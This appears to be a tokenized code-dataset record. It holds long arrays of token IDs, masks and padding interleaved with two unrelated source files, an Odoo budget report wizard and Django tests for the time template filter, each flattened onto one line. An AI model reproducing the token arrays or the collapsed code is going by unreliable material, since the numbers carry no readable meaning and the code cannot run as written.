[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
jfpla/odoo
addons/account_budget/wizard/account_budget_report.py
375
2067
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import time from openerp.osv import fields, osv class account_budget_report(osv.osv_memory): _name = "account.budget.report" _description = "Account Budget report for analytic account" _columns = { 'date_from': fields.date('Start of period', required=True), 'date_to': fields.date('End of period', required=True), } _defaults = { 'date_from': lambda *a: time.strftime('%Y-01-01'), 'date_to': lambda *a: time.strftime('%Y-%m-%d'), } def check_report(self, cr, uid, ids, context=None): if context is None: context = {} data = self.read(cr, uid, ids, context=context)[0] datas = { 'ids': context.get('active_ids', []), 'model': 'account.budget.post', 'form': data } datas['form']['ids'] = datas['ids'] datas['form']['report'] = 'analytic-full' return self.pool['report'].get_action(cr, uid, [], 'account_budget.report_budget', data=datas, context=context) # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 900, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 421, 199, 533, 2933, 63, 16501, 63, 3070, 8, 4795, 14, 4795, 63, 4844, 304, 339, 485, 354, 275, 298, 2048, 14, 16501, 14, 3070, 2, 272, 485, 1802, 275, 298, 6009, 699, 1181, 362, 3622, 367, 20705, 2933, 2, 272, 485, 3406, 275, 469, 267, 283, 602, 63, 504, 356, 1504, 14, 602, 360, 3162, 402, 6247, 297, 1415, 29, 549, 395, 267, 283, 602, 63, 475, 356, 1504, 14, 602, 360, 3005, 402, 6247, 297, 1415, 29, 549, 395, 272, 789, 272, 485, 4322, 275, 469, 267, 283, 602, 63, 504, 356, 2400, 627, 65, 26, 900, 14, 6205, 3508, 57, 13, 614, 13, 614, 659, 267, 283, 602, 63, 475, 356, 2400, 627, 65, 26, 900, 14, 6205, 3508, 57, 3295, 77, 3295, 68, 659, 272, 789, 339, 347, 1104, 63, 3070, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 340, 1067, 365, 488, 26, 288, 1067, 275, 1052, 267, 666, 275, 291, 14, 739, 8, 1556, 12, 1747, 12, 2762, 12, 1067, 29, 1100, 2788, 16, 61, 267, 15012, 275, 469, 288, 283, 1580, 356, 1067, 14, 362, 360, 2682, 63, 1580, 297, 14431, 288, 283, 1238, 356, 283, 2048, 14, 16501, 14, 1932, 297, 288, 283, 964, 356, 666, 267, 789, 267, 15012, 459, 964, 2545, 1580, 418, 275, 15012, 459, 1580, 418, 267, 15012, 459, 964, 2545, 3070, 418, 275, 283, 9782, 13, 2861, 7, 267, 372, 291, 14, 2293, 459, 3070, 2278, 362, 63, 1287, 8, 1556, 12, 1747, 12, 990, 283, 2048, 63, 16501, 14, 3070, 63, 16501, 297, 666, 29, 11563, 12, 1067, 29, 1100, 9, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 900, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 421, 199, 533, 2933, 63, 16501, 63, 3070, 8, 4795, 14, 4795, 63, 4844, 304, 339, 485, 354, 275, 298, 2048, 14, 16501, 14, 3070, 2, 272, 485, 1802, 275, 298, 6009, 699, 1181, 362, 3622, 367, 20705, 2933, 2, 272, 485, 3406, 275, 469, 267, 283, 602, 63, 504, 356, 1504, 14, 602, 360, 3162, 402, 6247, 297, 1415, 29, 549, 395, 267, 283, 602, 63, 475, 356, 1504, 14, 602, 360, 3005, 402, 6247, 297, 1415, 29, 549, 395, 272, 789, 272, 485, 4322, 275, 469, 267, 283, 602, 63, 504, 356, 2400, 627, 65, 26, 900, 14, 6205, 3508, 57, 13, 614, 13, 614, 659, 267, 283, 602, 63, 475, 356, 2400, 627, 65, 26, 900, 14, 6205, 3508, 57, 3295, 77, 3295, 68, 659, 272, 789, 339, 347, 1104, 63, 3070, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 340, 1067, 365, 488, 26, 288, 1067, 275, 1052, 267, 666, 275, 291, 14, 739, 8, 1556, 12, 1747, 12, 2762, 12, 1067, 29, 1100, 2788, 16, 61, 267, 15012, 275, 469, 288, 283, 1580, 356, 1067, 14, 362, 360, 2682, 63, 1580, 297, 14431, 288, 283, 1238, 356, 283, 2048, 14, 16501, 14, 1932, 297, 288, 283, 964, 356, 666, 267, 789, 267, 15012, 459, 964, 2545, 1580, 418, 275, 15012, 459, 1580, 418, 267, 15012, 459, 964, 2545, 3070, 418, 275, 283, 9782, 13, 2861, 7, 267, 372, 291, 14, 2293, 459, 3070, 2278, 362, 63, 1287, 8, 1556, 12, 1747, 12, 990, 283, 2048, 63, 16501, 14, 3070, 63, 16501, 297, 666, 29, 11563, 12, 1067, 29, 1100, 9, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
atul-bhouraskar/django
tests/template_tests/filter_tests/test_time.py
326
1812
from datetime import time from django.template.defaultfilters import time as time_filter from django.test import SimpleTestCase from django.utils import timezone from ..utils import setup from .timezone_utils import TimezoneTestCase class TimeTests(TimezoneTestCase): """ #20693: Timezone support for the time template filter """ @setup({'time01': '{{ dt|time:"e:O:T:Z" }}'}) def test_time01(self): output = self.engine.render_to_string('time01', {'dt': self.now_tz_i}) self.assertEqual(output, '+0315:+0315:+0315:11700') @setup({'time02': '{{ dt|time:"e:T" }}'}) def test_time02(self): output = self.engine.render_to_string('time02', {'dt': self.now}) self.assertEqual(output, ':' + self.now_tz.tzinfo.tzname(self.now_tz)) @setup({'time03': '{{ t|time:"P:e:O:T:Z" }}'}) def test_time03(self): output = self.engine.render_to_string('time03', {'t': time(4, 0, tzinfo=timezone.get_fixed_timezone(30))}) self.assertEqual(output, '4 a.m.::::') @setup({'time04': '{{ t|time:"P:e:O:T:Z" }}'}) def test_time04(self): output = self.engine.render_to_string('time04', {'t': time(4, 0)}) self.assertEqual(output, '4 a.m.::::') @setup({'time05': '{{ d|time:"P:e:O:T:Z" }}'}) def test_time05(self): output = self.engine.render_to_string('time05', {'d': self.today}) self.assertEqual(output, '') @setup({'time06': '{{ obj|time:"P:e:O:T:Z" }}'}) def test_time06(self): output = self.engine.render_to_string('time06', {'obj': 'non-datetime-value'}) self.assertEqual(output, '') class FunctionTests(SimpleTestCase): def test_inputs(self): self.assertEqual(time_filter(time(13), 'h'), '01') self.assertEqual(time_filter(time(0), 'h'), '12')
bsd-3-clause
[ 504, 2197, 492, 900, 199, 199, 504, 1639, 14, 1160, 14, 885, 4273, 492, 900, 465, 900, 63, 1541, 199, 504, 1639, 14, 396, 492, 24424, 199, 504, 1639, 14, 1208, 492, 7137, 199, 199, 504, 2508, 1208, 492, 3272, 199, 504, 1275, 7145, 63, 1208, 492, 4703, 2619, 1746, 421, 199, 533, 4703, 2925, 8, 28705, 1746, 304, 272, 408, 272, 327, 1165, 27370, 26, 4703, 2619, 2291, 367, 314, 900, 1978, 2457, 272, 408, 339, 768, 2758, 3252, 521, 614, 356, 11400, 4487, 92, 521, 5424, 69, 26, 47, 26, 52, 26, 58, 2, 29281, 272, 347, 511, 63, 521, 614, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 614, 297, 791, 3583, 356, 291, 14, 2131, 63, 3903, 63, 73, 1552, 267, 291, 14, 629, 8, 1199, 12, 6681, 1644, 1046, 31146, 1644, 1046, 31146, 1644, 1046, 26, 7362, 383, 358, 339, 768, 2758, 3252, 521, 996, 356, 11400, 4487, 92, 521, 5424, 69, 26, 52, 2, 29281, 272, 347, 511, 63, 521, 996, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 996, 297, 791, 3583, 356, 291, 14, 2131, 1552, 267, 291, 14, 629, 8, 1199, 12, 10871, 435, 291, 14, 2131, 63, 3903, 14, 9374, 14, 20027, 8, 277, 14, 2131, 63, 3903, 430, 339, 768, 2758, 3252, 521, 1644, 356, 11400, 307, 92, 521, 5424, 48, 26, 69, 26, 47, 26, 52, 26, 58, 2, 29281, 272, 347, 511, 63, 521, 1644, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 1644, 297, 791, 84, 356, 900, 8, 20, 12, 378, 12, 10313, 29, 7145, 14, 362, 63, 5964, 63, 7145, 8, 1216, 430, 1552, 267, 291, 14, 629, 8, 1199, 12, 283, 20, 282, 14, 77, 14, 25131, 358, 339, 768, 2758, 3252, 521, 966, 356, 11400, 307, 92, 521, 5424, 48, 26, 69, 26, 47, 26, 52, 26, 58, 2, 29281, 272, 347, 511, 63, 521, 966, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 966, 297, 791, 84, 356, 900, 8, 20, 12, 378, 11466, 267, 291, 14, 629, 8, 1199, 12, 283, 20, 282, 14, 77, 14, 25131, 358, 339, 768, 2758, 3252, 521, 1717, 356, 11400, 366, 92, 521, 5424, 48, 26, 69, 26, 47, 26, 52, 26, 58, 2, 29281, 272, 347, 511, 63, 521, 1717, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 1717, 297, 791, 68, 356, 291, 14, 8136, 1552, 267, 291, 14, 629, 8, 1199, 12, 4074, 339, 768, 2758, 3252, 521, 1690, 356, 11400, 1559, 92, 521, 5424, 48, 26, 69, 26, 47, 26, 52, 26, 58, 2, 29281, 272, 347, 511, 63, 521, 1690, 8, 277, 304, 267, 1072, 275, 291, 14, 3908, 14, 3352, 63, 475, 63, 875, 360, 521, 1690, 297, 791, 1113, 356, 283, 2865, 13, 2083, 13, 585, 3071, 267, 291, 14, 629, 8, 1199, 12, 4074, 421, 199, 533, 6801, 2925, 8, 17968, 304, 339, 347, 511, 63, 3711, 8, 277, 304, 267, 291, 14, 629, 8, 521, 63, 1541, 8, 521, 8, 969, 395, 283, 72, 659, 283, 614, 358, 267, 291, 14, 629, 8, 521, 63, 1541, 8, 521, 8, 16, 395, 283, 72, 659, 283, 713, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
